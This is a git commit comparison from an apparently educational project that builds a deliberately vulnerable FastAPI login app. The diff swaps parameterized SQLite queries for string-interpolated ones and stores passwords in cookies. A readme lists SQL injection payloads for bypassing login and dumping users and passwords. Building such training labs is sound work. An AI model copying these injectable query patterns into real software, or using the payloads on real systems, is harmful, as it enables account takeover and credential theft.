Compare commits

...

2 Commits

Author SHA1 Message Date
06900e2768 removed unused endpoint 2025-12-16 01:55:09 +10:00
a24c1f0957 unfixing safe code 2025-12-16 01:51:19 +10:00
4 changed files with 159 additions and 39 deletions

View File

@@ -1,6 +1,6 @@
services: services:
vunerable-web-app: vunerable-web-app:
image: web-app:v0.0.1a image: kulesh_web-app:v0.0.1a
ports: ports:
- "80:8000" - "80:8000"
volumes: volumes:

6
cookies.txt Normal file
View File

@@ -0,0 +1,6 @@
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
localhost FALSE / FALSE 0 password a
localhost FALSE / FALSE 0 login "' or 1=1-- "

116
readme.md
View File

@@ -1,10 +1,112 @@
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi|Uvicorn) # Kulesh_Web_app - Уязвимое веб-приложение
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.
**На сервере Web написать уязвимое веб-приложение Весь проект писать на рабочем столе в папке Фамилия_Web_app, где “Фамилия” - это ваша настоящая фамилия** ## Функциональность приложения
- ✅ Регистрация пользователей
- ✅ Авторизация пользователей
- ✅ Cookie-аутентификация
- ✅ Страница приветствия для авторизованных пользователей
- ✅ Docker-контейнеризация
## Сборка и запуск
### Сборка Docker-образа
```bash
docker build -t kulesh_web-app:v0.0.1a .
```
### Запуск приложения
```bash
docker compose up
```
Приложение будет доступно по адресу: http://localhost:8000
## Работа с CURL
### Регистрация пользователя Administrator
```bash
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
```
### Регистрация пользователя Kulesh_AS
```bash
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
```
### Авторизация через CURL
```bash
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
```
### Доступ к защищенной странице
```bash
curl -b cookies.txt http://localhost:8000/welcome
```
## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
### SQL-инъекция через форму авторизации
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
```python
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
```
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
### Базовый обход аутентификации
**Payload для поля login:**
```sql
' OR 1=1--
```
**Поле password:** (любое значение)
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
### Извлечение информации о базе данных
#### 1. Получение списка подключенных файлов БД:
```sql
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
```
#### 2. Получение списка пользовательских таблиц:
```sql
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
```
#### 3. Получение схем всех таблиц:
```sql
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
```
#### 4. Извлечение всех пользователей и паролей:
```sql
' UNION SELECT id, login, password FROM users --
```
#### 5. Получение данных конкретного пользователя Administrator:
```sql
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
```
### Пошаговая эксплуатация
1. **Откройте форму входа:** http://localhost:8000/login
2. **Введите базовый payload для обхода аутентификации:**
- Login: `' OR 1=1--`
- Password: `test`
3. **Для извлечения данных используйте UNION-based инъекцию:**
- Login: `' UNION SELECT id, login, password FROM users --`
- Password: `test`
4. **В ответе на странице приветствия вы увидите данные всех пользователей**
1. Реализовать страницу регистрации пользователей **(1.5 балла)**
2. Реализовать страницу авторизации пользователей **(1.5 балла)**
3. Реализовать **Cookie (2 балла)**
4. Реализовать страницу **“приветствия пользователя”** (она должна выводить текст **“Привет, имя_пользователя”**) (Имя_пользователя, это переменная и должна равняться авторизованному пользователю), доступ на эту страницу только после авторизации **(2 балла)**
5. Обернуть готовое приложение в **Docker (3 балла)**

View File

@@ -7,12 +7,14 @@ DB_PATH = "./data/database.db"
conn = sqlite3.connect(DB_PATH) conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor() cursor = conn.cursor()
cursor.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)") cursor.execute(
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
)
app = FastAPI( app = FastAPI(
docs_url=None, # Disable Swagger UI docs_url=None, # Disable Swagger UI
redoc_url=None, # Disable ReDoc redoc_url=None, # Disable ReDoc
openapi_url=None # Disable OpenAPI JSON schema openapi_url=None, # Disable OpenAPI JSON schema
) )
STYLES = """ STYLES = """
@@ -27,6 +29,7 @@ body {
</style> </style>
""" """
@app.get("/register", response_class=HTMLResponse) @app.get("/register", response_class=HTMLResponse)
async def register_form(): async def register_form():
return f""" return f"""
@@ -44,17 +47,21 @@ async def register_form():
</html> </html>
""" """
@app.post("/register") @app.post("/register")
async def register(login: str = Form(...), password: str = Form(...)): async def register(login: str = Form(...), password: str = Form(...)):
try: try:
cursor.execute("INSERT INTO users (login, password) VALUES (?, ?)", (login, password)) cursor.execute(
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
)
conn.commit() conn.commit()
response = RedirectResponse(url="/welcome", status_code=302) response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login) response.set_cookie("login", login)
response.set_cookie("password", password) response.set_cookie("password", password)
return response return response
except sqlite3.IntegrityError: except sqlite3.IntegrityError:
return HTMLResponse(f""" return HTMLResponse(
f"""
<html> <html>
<head><title>Ошибка регистрации</title>{STYLES}</head> <head><title>Ошибка регистрации</title>{STYLES}</head>
<body> <body>
@@ -62,7 +69,10 @@ async def register(login: str = Form(...), password: str = Form(...)):
<a href='/register'>Попробовать снова</a> <a href='/register'>Попробовать снова</a>
</body> </body>
</html> </html>
""", status_code=400) """,
status_code=400,
)
@app.get("/login", response_class=HTMLResponse) @app.get("/login", response_class=HTMLResponse)
async def login_form(): async def login_form():
@@ -81,17 +91,21 @@ async def login_form():
</html> </html>
""" """
@app.post("/login") @app.post("/login")
async def login(login: str = Form(...), password: str = Form(...)): async def login(login: str = Form(...), password: str = Form(...)):
cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password)) cursor.execute(
user = cursor.fetchone() f"SELECT * FROM users WHERE login='{login}' AND password='{password}'"
)
user = cursor.fetchall()
if user: if user:
response = RedirectResponse(url="/welcome", status_code=302) response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login) response.set_cookie("login", login)
response.set_cookie("password", password) response.set_cookie("password", password)
return response return response
else: else:
return HTMLResponse(f""" return HTMLResponse(
f"""
<html> <html>
<head><title>Ошибка входа</title>{STYLES}</head> <head><title>Ошибка входа</title>{STYLES}</head>
<body> <body>
@@ -99,7 +113,10 @@ async def login(login: str = Form(...), password: str = Form(...)):
<a href='/login'>Попробовать снова</a> <a href='/login'>Попробовать снова</a>
</body> </body>
</html> </html>
""", status_code=401) """,
status_code=401,
)
@app.get("/welcome", response_class=HTMLResponse) @app.get("/welcome", response_class=HTMLResponse)
async def welcome(request: Request): async def welcome(request: Request):
@@ -107,35 +124,30 @@ async def welcome(request: Request):
password = request.cookies.get("password") password = request.cookies.get("password")
if not login or not password: if not login or not password:
return RedirectResponse(url="/login") return RedirectResponse(url="/login")
cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password)) cursor.execute(
user = cursor.fetchone() f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
)
user = cursor.fetchall()
if user: if user:
return f""" return f"""
<html> <html>
<head><title>Добро пожаловать</title>{STYLES}</head> <head><title>Добро пожаловать</title>{STYLES}</head>
<body> <body>
<h1>Привет, {login}</h1> <h1>Привет, {user}</h1>
<form action="/logout" method="post" onsubmit="return logoutAlert();"> <button onclick="
<button type="submit">Выйти</button> document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
</form> document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
<script> window.location.href = '/login';
function logoutAlert() {{ ">Выйти</button>
alert('Вы вышли из аккаунта');
return true;
}}
</script>
</body> </body>
</html> </html>
""" """
else: else:
return RedirectResponse(url="/login") return RedirectResponse(url="/login")
@app.post("/logout")
async def logout():
response = RedirectResponse(url="/login", status_code=302)
response.delete_cookie("login")
response.delete_cookie("password")
return response
@app.get("/", include_in_schema=False) @app.get("/", include_in_schema=False)
async def root(): async def root():